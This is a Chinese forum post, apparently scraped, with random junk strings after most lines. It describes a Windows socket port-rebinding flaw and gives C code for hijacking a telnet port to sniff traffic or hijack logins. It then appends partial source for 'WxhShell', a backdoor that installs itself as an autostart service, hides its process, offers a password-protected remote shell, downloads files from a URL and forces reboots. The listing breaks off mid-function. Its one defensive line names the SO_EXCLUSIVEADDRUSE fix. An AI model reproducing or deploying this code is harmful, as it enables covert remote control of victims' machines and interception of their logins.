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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wD|3Czc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O8; `6r  
c)d*[OI8  
  saddr.sin_family = AF_INET; v^Eg ,&(  
jRswGMx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m])!'Pa( =  
CQf<En|1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9`"o,wGX3  
I)xB I~x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e}x}Fj</(  
r/X4Hy0!lT  
  这意味着什么?意味着可以进行如下的攻击: |ZEZ@y^  
S$CO T)7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z7[TgL7  
]Qo.X~]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nkKiYr  
56;(mbW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )'<B\P/  
^2gDhoO_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +`EF0sux  
 T4}SF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xW$F-n  
t/;@~jfr@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o/EN3J  
GM.2bA(y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h8b*=oq  
s6#@S4^=\  
  #include ZS&n,<a5L}  
  #include -=W"  
  #include dXkgWLI~  
  #include    "4VC:"$f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   | HkLl^  
  int main() M*DFtp<  
  { x=+R0ny  
  WORD wVersionRequested; a,o>E4#c  
  DWORD ret; |4UU`J9M  
  WSADATA wsaData; <@B zF0  
  BOOL val; \htL\m^$9  
  SOCKADDR_IN saddr; K !X>k  
  SOCKADDR_IN scaddr; s m42  
  int err; #q;hX;Va  
  SOCKET s; wzw`9^B  
  SOCKET sc; 5^Gv!XW  
  int caddsize; OH.Re6Rr  
  HANDLE mt; Bg^k~NX%  
  DWORD tid;   z*Y4t?+  
  wVersionRequested = MAKEWORD( 2, 2 ); kmJ {(y)w  
  err = WSAStartup( wVersionRequested, &wsaData ); PGT*4r21  
  if ( err != 0 ) { Qg)=4(<Hr  
  printf("error!WSAStartup failed!\n"); (nhv#&Fd+  
  return -1; br!:g]Vh  
  } OL,3Jh% x  
  saddr.sin_family = AF_INET; b&LfL$  
   G2FP|mf,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U Ox$Xwp5&  
oDyrf"dl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -Cb<T"7  
  saddr.sin_port = htons(23); Sm(QgZO[4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Fe(],AzF  
  { ? x1"uH  
  printf("error!socket failed!\n"); ^*;{Uj+O~Y  
  return -1; G;:D6\  
  } ^y@ RfM=A  
  val = TRUE; \z}/=Qgc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]!>ThBMa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~|j:xM(i  
  { 9N H"Ik*  
  printf("error!setsockopt failed!\n"); 6E9y[ %+  
  return -1; )P6n,\  
  } NLe+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'xNPy =#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b\/:-][  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U] 2fV|Hn  
+k!Y]_&(:f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r]x;JBy  
  { < V?CM(1C  
  ret=GetLastError(); B]PTe~n^  
  printf("error!bind failed!\n"); {VWUK`3  
  return -1; )I80Nq  
  } #A8d@]Ps  
  listen(s,2); Cdjh/+!f  
  while(1) 5xZ*U  
  { u$%>/cv  
  caddsize = sizeof(scaddr); \V@Hf"=j  
  //接受连接请求 s*R \!L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zE{@'  
  if(sc!=INVALID_SOCKET) {VC4rA  
  { |aiP7C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o C]tEXJ  
  if(mt==NULL) yVThbL_YJ  
  { :kycIM]s  
  printf("Thread Creat Failed!\n"); h&7]Bp  
  break; &Mset^o  
  } '1)BZ!  
  } {;(X#vK}9  
  CloseHandle(mt); myT z  
  } ETP}mo  
  closesocket(s); ;!<WL@C~  
  WSACleanup(); 5YJn<XEc  
  return 0; T^-fn  
  }   <BIj a  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0\t k/<w2  
  { }i1p &EN^  
  SOCKET ss = (SOCKET)lpParam; [Rh[Z# 6  
  SOCKET sc; w=I' CMRt  
  unsigned char buf[4096]; QMI&?Q:=  
  SOCKADDR_IN saddr; Lm<"W_  
  long num; 'hl>pso.  
  DWORD val; .BsZ.!MPL(  
  DWORD ret; eTI<WFRc_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b _fI1f|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z\Y+5<a  
  saddr.sin_family = AF_INET; !g /&ws&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :sRV]!Iw  
  saddr.sin_port = htons(23); W1X\!Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G| pZ  
  { }$W4aG*[  
  printf("error!socket failed!\n"); .I{b]6  
  return -1; ?45kN=%*s  
  } ScrEtN  
  val = 100; ! /Z{uy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -If-c'"G  
  { `fEB,0j^  
  ret = GetLastError(); &x{CC@g/  
  return -1; nu,#y"WQ  
  } qO=_i d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #5GIO  
  { (: IUg   
  ret = GetLastError(); >_QC_UX>4i  
  return -1; qu[ ~#  
  } u7>b}+ak&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CIh@H6|  
  { D%v4B`4ua'  
  printf("error!socket connect failed!\n"); !dB {E  
  closesocket(sc); :8}QKp  
  closesocket(ss); -;_`>OU{  
  return -1; ` bd  
  } <8 MKjf  
  while(1) `r+"2.z*  
  { @ NGK2J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >W"gr]R<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (#* 7LdZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d% ?+q0j  
  num = recv(ss,buf,4096,0); '1A S66k  
  if(num>0) g(t"+ P  
  send(sc,buf,num,0); &| %<=\  
  else if(num==0) .lfKS!m2  
  break; ud K)F$7  
  num = recv(sc,buf,4096,0); 'v^CA}  
  if(num>0) c[ ]_gUp8  
  send(ss,buf,num,0); bs!N~,6h  
  else if(num==0) 5uMh#dm^  
  break; v_f8zk  
  } ~lMw*Qw^  
  closesocket(ss); "bAkS}(hB(  
  closesocket(sc); I|lz;i}$  
  return 0 ; Z~{0XG\Y  
  } 2g1[ E_?  
<A&mc,kj  
i"%X[(U7  
========================================================== |R:gu\gG  
R6~x!  
下边附上一个代码,,WXhSHELL T^u][I3*  
W R@=[G#TJ  
========================================================== {]plT~{e  
zCKZv|j6  
#include "stdafx.h" {J q[N}  
!b0'd'xe  
#include <stdio.h> 7''l\3mIn  
#include <string.h> kH1hsDe|&y  
#include <windows.h> 3o%,8l,  
#include <winsock2.h> YQOdwc LG  
#include <winsvc.h> %3scz)4$  
#include <urlmon.h> R0y={\*B5k  
2b xkZS]  
#pragma comment (lib, "Ws2_32.lib") 'EJ8)2  
#pragma comment (lib, "urlmon.lib") /*g3TbUs  
Ed,`1+  
#define MAX_USER   100 // 最大客户端连接数 zu&5[XL  
#define BUF_SOCK   200 // sock buffer (Da/$S.  
#define KEY_BUFF   255 // 输入 buffer $8o(_8Q)  
\|nF55W [  
#define REBOOT     0   // 重启 ]kq{9b';  
#define SHUTDOWN   1   // 关机 a'f"Zdh%w  
. $uvQpyh  
#define DEF_PORT   5000 // 监听端口 LziEF-_  
;T~]|#T\6  
#define REG_LEN     16   // 注册表键长度 ^Bn)a"Gd  
#define SVC_LEN     80   // NT服务名长度 }$3eRu +  
K^`3Bg  
// 从dll定义API j?%^N\9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C4],7"Sw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BL<.u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pcut#8?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mit,X  
8*3o 9$Pj  
// wxhshell配置信息 HXhz|s0  
struct WSCFG { 'Ca6cm3Tg  
  int ws_port;         // 监听端口 h`dtcJ0  
  char ws_passstr[REG_LEN]; // 口令 {8UYu2t  
  int ws_autoins;       // 安装标记, 1=yes 0=no *"` dO9Yf_  
  char ws_regname[REG_LEN]; // 注册表键名 qLBXyQ;U  
  char ws_svcname[REG_LEN]; // 服务名 "l!WO`.zp=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #pP4\n-~hU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hrq1{3~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^]w!ow41  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n"8vlNeW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IY6DZP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S-{[3$  
c^vP d]Ed  
}; \#.,@g  
x@I*(I  
// default Wxhshell configuration ;LE4U OK  
struct WSCFG wscfg={DEF_PORT, } r$&"wYM  
    "xuhuanlingzhe", }]_/:KUt  
    1, ;]zV ?9  
    "Wxhshell", lY/{X]T.(  
    "Wxhshell", 0xrr9X<  
            "WxhShell Service", =LV7K8FSd  
    "Wrsky Windows CmdShell Service", tAFKq>\  
    "Please Input Your Password: ", 3Yf&F([t  
  1, Ig75bZz   
  "http://www.wrsky.com/wxhshell.exe", occ^bq  
  "Wxhshell.exe" OQMkpX-dH  
    }; P:h;"  
5ckL=q"+/  
// 消息定义模块 p3ox%4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n 1MZHa,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jY%&G#4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6nh!g  
char *msg_ws_ext="\n\rExit."; |niYN7 17  
char *msg_ws_end="\n\rQuit."; dfY(5Wc+f  
char *msg_ws_boot="\n\rReboot..."; GL$!JKWp  
char *msg_ws_poff="\n\rShutdown..."; 0X@!i3eu  
char *msg_ws_down="\n\rSave to "; b/'{6zn  
WZO8|hY  
char *msg_ws_err="\n\rErr!"; q`z/ S>  
char *msg_ws_ok="\n\rOK!"; "*W:  
2^w3xL"   
char ExeFile[MAX_PATH]; r!SMF ]?SJ  
int nUser = 0; ^Gt&c_gH  
HANDLE handles[MAX_USER]; 2g~qVT,  
int OsIsNt; RUqN,C,m5I  
aTS\NpK&  
SERVICE_STATUS       serviceStatus; XWN ra  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DhZuQpH  
VZo[\sWf  
// 函数声明 P8!ON=  
int Install(void); Ix@rn  
int Uninstall(void); n&ZA rJ  
int DownloadFile(char *sURL, SOCKET wsh); r(;oDdVc  
int Boot(int flag); {Q],rv|;  
void HideProc(void); FY_.Vp  
int GetOsVer(void); #\s*>Z  
int Wxhshell(SOCKET wsl); K ;\~otR^  
void TalkWithClient(void *cs); 2 Ya)I k{  
int CmdShell(SOCKET sock); lM1~ K  
int StartFromService(void); cb!mV5M-g  
int StartWxhshell(LPSTR lpCmdLine); FJ0Ity4u6  
gU\pP,a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gY\X?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -&4>>h9 _  
(5- w>(  
// 数据结构和表定义 $/;D8P5/&=  
SERVICE_TABLE_ENTRY DispatchTable[] = nZZNx  
{ a(AKVk\  
{wscfg.ws_svcname, NTServiceMain}, ,Y *unk<S  
{NULL, NULL} ta"uxL\gge  
}; G165grGFd  
~hK7(K  
// 自我安装 Aq' yr,  
int Install(void) zh`!x{Z?^  
{ ]v^/c~"${  
  char svExeFile[MAX_PATH]; fy+fJ )4sj  
  HKEY key; x` T  
  strcpy(svExeFile,ExeFile); ]<b$k  
-e< d//>  
// 如果是win9x系统,修改注册表设为自启动 S_; 5mb+b  
if(!OsIsNt) { k(LZ,WSR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HJ#3wk"W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E;!pK9wL|  
  RegCloseKey(key); |^fubQs;2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <xM$^r)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gc(Gc vdB\  
  RegCloseKey(key); ]0v;;PfVl6  
  return 0; ^b|Z<oF  
    } H$'|hUwds%  
  } .T~<[0Ex+U  
} =k.:XblEe[  
else { PWeCk2xH  
U%%fKL=S  
// 如果是NT以上系统,安装为系统服务 "Tw4'AY'P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EmrUzaGD  
if (schSCManager!=0) 5=/&[=  
{ BGM5pc (ei  
  SC_HANDLE schService = CreateService .*XELP=BT  
  ( ?88k`T'EI  
  schSCManager, X3[gi`  
  wscfg.ws_svcname, W\]bh'(  
  wscfg.ws_svcdisp, =KQQS6  
  SERVICE_ALL_ACCESS, wEju`0#;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O-m=<Fk> D  
  SERVICE_AUTO_START, MJ5Ymt a  
  SERVICE_ERROR_NORMAL, FY;\1bt<<  
  svExeFile, #a1zk\R3  
  NULL, + *u'vt?  
  NULL, [/dGOl+  
  NULL, & gF*p  
  NULL, xPBSJhla  
  NULL A:|dY^,:?*  
  ); c:#<g/-{wM  
  if (schService!=0) t][U`1>i  
  { $ti*I;)h4  
  CloseServiceHandle(schService); U'(Exr[  
  CloseServiceHandle(schSCManager); E/bIq}R6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vW6 a=j8  
  strcat(svExeFile,wscfg.ws_svcname); ]U[y3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pjz_KO/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a=ye!CN^  
  RegCloseKey(key); ^gw htnI  
  return 0; Y~I$goT  
    } GMk\ l  
  } _#[~?g`  
  CloseServiceHandle(schSCManager); 8: #\g  
} SZUhZIz&  
} \YUl$d0  
5L ]TV\\  
return 1; 'XW[uK]w)  
} 2MT_5j5[N  
Q` ?+w+y7  
// 自我卸载 x"g-okLN  
int Uninstall(void) &d,chb (  
{ b\6 )whh  
  HKEY key; C]@v60I  
:r4]8X-  
if(!OsIsNt) { }"} z7Xb0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Cki"4%<  
  RegDeleteValue(key,wscfg.ws_regname); 'u9,L FO  
  RegCloseKey(key); $ ~>3bik@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a[e&O&Z  
  RegDeleteValue(key,wscfg.ws_regname); hz:^3F`>/&  
  RegCloseKey(key); 0*e)_l!  
  return 0; oJ\)-qSf  
  } -Iq W@|N  
} K6uZ4 m;  
} 0[A4k:  
else { Ufx^@%v  
2T3TD%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C%c}lv8;^  
if (schSCManager!=0) ^3>Qf  
{ MHF31/g\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! z!lQ~  
  if (schService!=0) Y!3Mm*  
  { 3k%fY  
  if(DeleteService(schService)!=0) { woSO4e/  
  CloseServiceHandle(schService); )gX7qQ  
  CloseServiceHandle(schSCManager); z@70{*  
  return 0; 4}i2j  
  } SW94(4qo  
  CloseServiceHandle(schService); A%Ov.~&\G  
  } =J@M, mbHg  
  CloseServiceHandle(schSCManager); bIvF5d>9#K  
} >Q(+H-w  
} ,(1n(FZ  
!yUn|v>&p  
return 1; )7X+T'?%  
} B: '}SA{  
72i ]`   
// 从指定url下载文件 -|1H-[Y(  
int DownloadFile(char *sURL, SOCKET wsh) W|~Jl7hs8Q  
{ ;HKb  
  HRESULT hr; 4blw9x N  
char seps[]= "/"; It5U=PU  
char *token; M lv  
char *file; KOQiX?'  
char myURL[MAX_PATH]; F'v3caE  
char myFILE[MAX_PATH]; 3Jt7IM!9[  
B~%'YQk  
strcpy(myURL,sURL); O?p8Gjf  
  token=strtok(myURL,seps); g&79?h4UXQ  
  while(token!=NULL) th!$R  
  { bHJKX>@{  
    file=token; M-#OPj*  
  token=strtok(NULL,seps); 8Ce|Q8<8]  
  } y15 MWZ  
[>P9_zID  
GetCurrentDirectory(MAX_PATH,myFILE); $A4rdhvd  
strcat(myFILE, "\\"); jb~W(8cj  
strcat(myFILE, file); tEU}?k+:j)  
  send(wsh,myFILE,strlen(myFILE),0); 8LI aN}  
send(wsh,"...",3,0); `&3hfiI}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); For`rfR  
  if(hr==S_OK) |E& F e8  
return 0; g431+O0K1  
else I "8:IF  
return 1; b 8vyJb,K  
-dj9(~?^  
} ]q,5'[=~4h  
Lc&LF*  
// 系统电源模块 /*V:Lh  
int Boot(int flag) 2s^9q9NS"  
{ gY],U4_:p  
  HANDLE hToken; 2#srecIz-!  
  TOKEN_PRIVILEGES tkp; >AtW  
SxX2+|0g`g  
  if(OsIsNt) { S.: m$s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U@ ;W^Mt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gY\g+df-  
    tkp.PrivilegeCount = 1; yN'< iTh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `[OJ)tHE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZWtlOP#]  
if(flag==REBOOT) { ]JQ+*ZYUE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;)6LX-  
  return 0; T(GEFnt Y  
} )aV\=a |A  
else { qD/GYqvm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gI~4A,  
  return 0; AQUl:0!  
} "8.to=Lx  
  } _f"HUKGN  
  else { LTn@OhC  
if(flag==REBOOT) { nV[0O8p2Md  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) : ~R Y  
  return 0; Czl4^STiC  
} z<3{.e\e  
else { ?Aq \Gr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ].TAZ-4s  
  return 0; Mu1H*;_8  
} #hKaH -j  
} B-R& v8F  
dy }O6  
return 1; QbN7sg~~  
} zL^`r)H  
 L+=pEk_  
// win9x进程隐藏模块 O_E\(So  
void HideProc(void) 0x N1Xm0d  
{ u{asKUce\  
6\+ ZTw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jD<fu  
  if ( hKernel != NULL ) M1Frn n  
  { lc:dKGF6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (plsL   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;Dw6pmZ  
    FreeLibrary(hKernel); \*wQ%_N5  
  } ~ z< &vQ=  
#`g..3ey  
return; u|.c?fW'3  
} EgYM][:UU  
M0B6v} ^H  
// 获取操作系统版本 ^(Y}j8sj  
int GetOsVer(void) \68x]q[  
{ Dc1tND$X3g  
  OSVERSIONINFO winfo; OBCH%\;g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <P%<EgOE  
  GetVersionEx(&winfo); FX->_}kL=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2!w5eWl,  
  return 1; Juhi#&`T  
  else 1#Ls4+]5  
  return 0; Pse1NMK9 [  
} }k{h^!fV  
J2KULXF  
// 客户端句柄模块 Lddk:u&J  
int Wxhshell(SOCKET wsl) - &7\do<  
{ `U.VfQR:  
  SOCKET wsh; u%s@B1j  
  struct sockaddr_in client; v M lT  
  DWORD myID; g?9IS,Gp  
. `ND  
  while(nUser<MAX_USER) QE#Ar8tU  
{ +WH|nV~lQ  
  int nSize=sizeof(client); #W]4aZ1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #A:+|{H"  
  if(wsh==INVALID_SOCKET) return 1; *EB`~s  
^D}]7y|fm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e@`"V,i  
if(handles[nUser]==0) cn3F3@_"\  
  closesocket(wsh); =*[98%b   
else .{=|N8*py8  
  nUser++; id" -eMwp  
  } q!qOy/}D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ir,3' G  
-|FSdzvg  
  return 0; @[2Go}VF  
} i3SrsVSG  
{9,!XiF.:  
// 关闭 socket )-u0n] ,  
void CloseIt(SOCKET wsh) `\pv^#5HV9  
{ 9>OPaL n  
closesocket(wsh); W ZAkp|R  
nUser--; 4 g%BCGsys  
ExitThread(0); kp$w)%2JW  
} (b*PDhl`+  
k^%Kw(/  
// 客户端请求句柄 fqY; > Z  
void TalkWithClient(void *cs) ^^;#Si  
{ 9_4bw9 A  
nYvx[ zq?^  
  SOCKET wsh=(SOCKET)cs; MB"TwtW  
  char pwd[SVC_LEN]; xh90qm  
  char cmd[KEY_BUFF]; >QcIrq%=  
char chr[1]; Vzmw%f)_+  
int i,j; 7<Yf  
=.Hq]l6+  
  while (nUser < MAX_USER) { Ld9YbL:  
$*k9e^{S  
if(wscfg.ws_passstr) { !Z}d^$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CI}zu;4|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4H]~]?F&  
  //ZeroMemory(pwd,KEY_BUFF); lG>,&(  
      i=0; !#[=,'Y  
  while(i<SVC_LEN) { 'LyEdlC]  
"J_#6q*  
  // 设置超时 p!_3j^"{  
  fd_set FdRead; [2l2w[7Rid  
  struct timeval TimeOut; <aPbKDF~V  
  FD_ZERO(&FdRead); nRSiW*;R  
  FD_SET(wsh,&FdRead); kLfk2A;'i  
  TimeOut.tv_sec=8; g2|qGfl{C  
  TimeOut.tv_usec=0; xl]1{$1M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +{5y,0R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;dR4a@  
li +MnLt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iL6Yk @  
  pwd=chr[0]; vTk\6o q  
  if(chr[0]==0xd || chr[0]==0xa) { q-lejVS(g  
  pwd=0; Ht,dMt>:  
  break; V:Lq>rs#  
  } \$B%TY  
  i++; |RS(QU<QE  
    } $.0l% $7  
;iq58.  
  // 如果是非法用户,关闭 socket v"I#.{LiH=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |}07tUq  
} {}A1[ Y|  
'Y;M%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @,i_Gw)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u &qFE=5:  
Al0ls  
while(1) { `J v~.EF%  
>[A7oH  
  ZeroMemory(cmd,KEY_BUFF); )b7;w#%q  
^K]`ZQjKC  
      // 自动支持客户端 telnet标准   [WXa]d5Y  
  j=0; yOdh?:Imv  
  while(j<KEY_BUFF) { uA]!y{"}J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e,cSB!7  
  cmd[j]=chr[0]; 4Y/kf%]]A  
  if(chr[0]==0xa || chr[0]==0xd) { [/+}E X  
  cmd[j]=0; = 9K5f# ;e  
  break; ` v"p""_H  
  } {S6:LsFfm  
  j++; *]#(?W.$w  
    } } Tz<fd/  
^8q(_#w`K  
  // 下载文件 d&x #9ka  
  if(strstr(cmd,"http://")) { ,ej89  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  d  H ;  
  if(DownloadFile(cmd,wsh)) y~Ts9AE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); " R5! VV  
  else >K@Y8J+ e#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lB< kf1[  
  } ;+3XDz v  
  else { 7+2DsZ^6MW  
KM:k<pvi  
    switch(cmd[0]) { 8TH fFL  
  >oHgs  
  // 帮助 Q?xCb  
  case '?': { q,% lG$0v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g-8D1.U  
    break; (/;<K$u*h  
  } B(t`$mC  
  // 安装 AC}[Q p!  
  case 'i': { vP. ^j7wB  
    if(Install()) \&jmSa=]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pj9*$.{  
    else ] i:WP2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (aUdPo8H^  
    break; d [f,Nu'  
    } aJ3.D  
  // 卸载 l6~wm1vO  
  case 'r': { _rakTo8BY  
    if(Uninstall()) C>=[fAr mO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Im%L=q9GL  
    else E},^,65  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $9@jV<Q1  
    break; ]; Z[V  
    } <oKoz0!  
  // 显示 wxhshell 所在路径 8ZN"-]*  
  case 'p': { oQL$X3S  
    char svExeFile[MAX_PATH]; >X58 zlxk  
    strcpy(svExeFile,"\n\r"); `iZ){JfAH  
      strcat(svExeFile,ExeFile); WFm\ bZ.  
        send(wsh,svExeFile,strlen(svExeFile),0); =#so[Pd  
    break; SsBiCctn  
    } F[5sFk M7  
  // 重启 :v Do{My^1  
  case 'b': { dc=}c/6x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3 [r9v!l  
    if(Boot(REBOOT)) Ej#pM.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |?\J,h  
    else { 'i;/?'!W6  
    closesocket(wsh); De^Uc  
    ExitThread(0); #O,;3S  
    } s,|"s|P  
    break; O-,0c1ts  
    } jxdX7aik  
  // 关机 CBKLct>  
  case 'd': { );!IGcgF  
